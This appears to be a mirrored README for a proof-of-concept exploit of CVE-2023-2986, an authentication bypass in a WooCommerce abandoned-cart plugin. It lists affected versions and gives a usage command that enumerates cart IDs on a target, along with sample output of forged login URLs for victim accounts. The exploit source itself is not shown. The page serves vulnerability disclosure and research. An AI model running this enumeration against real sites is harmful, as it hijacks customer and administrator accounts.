CVE-2023-2986 PoC — Abandoned Cart Lite for WooCommerce <= 5.15.1 - Authentication Bypass

Source

https://github.com/Ayantaker/CVE-2023-2986

Associated Vulnerability

Title:Abandoned Cart Lite for WooCommerce <= 5.15.1 - Authentication Bypass (CVE-2023-2986)
Description:The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.

Description

Proof of Concept for vulnerability CVE-2023-2986 in 'Abandoned Cart Lite for WooCommerce' Plugin in WordPress

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# Original Proof of Concept for CVE-2023-2986

Proof of Concept for vulnerability CVE-2023-2986 in 'Abandoned Cart Lite for WooCommerce' Plugin in WordPress


## Related Details

- NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2986
- Plugin Source : https://github.com/TycheSoftwares/woocommerce-abandoned-cart/
- Vulnerable versions : <s>`version <= 5.14.2`</s> `version <= 5.15.1`
- Patched version : <s>`5.15.0`</s> `5.15.2`

### Update

- It was thought that version 5.15.0 fixes the issue but I found out that it wasn't completely fixed and same has been updated. So the actual patched version is `5.15.2`


## Vulnerability Analysis

- Keysight Blogs : https://www.keysight.com/blogs/tech/nwvs/2023/08/23/cve-2023-2986
- Medium : https://medium.com/keysight-ati/cve-2023-2986-wordpress-plugin-vulnerability-and-the-importance-of-poc-7c9c5122438b

## Usage

```bash
sudo apt-get install php-curl
php poc.php http://target_host target_port max_cart_id_to_enumerate
```

```
[*] Enumerating cart ID : 1
[+] Authentication Bypass URL for user 'victim' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=pwDHtAFjg2StEr4S2bP9YXkwVdKLqnsLjpkFGythB5ztEF8twVbXFdEP6u7kYwrc
[*] Enumerating cart ID : 2
[*] Enumerating cart ID : 3
[+] Authentication Bypass URL for user 'victim2' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=aQH9pwVjg2TWqKcFmNoipUeBKbYNb5UaEYMYP8DlCz3DqykRdzP3lQgEqID6QsoD
[*] Enumerating cart ID : 4
[+] Authentication Bypass URL for user 'user' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=XQOexwdjg2TzUjbZJgcYAeUE1p7YdPytSYL3Vkkjb+gISKD02Cpk+3Dx6SUnbe5d
[*] Enumerating cart ID : 5

```

> Entering the URL in browser will give you access to the respective users account. If the wordpress admin user himself has an entry, this will give access to the admin console leading to full compromise of the wordpress server.


## Disclaimer

This Proof of Concept (POC) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for any misuse of the POC. Use responsibly.

File Snapshot


 [4.0K]  /data/pocs/a7d56b6ba2d4191b7c08641cd2e5fbd9d1eb262b
├── [4.0K]  libs
│   ├── [8.7K]  class-wcal-aes.php
│   └── [6.8K]  encrypt.php
├── [ 18K]  LICENSE
├── [2.7K]  poc.php
└── [2.2K]  README.md

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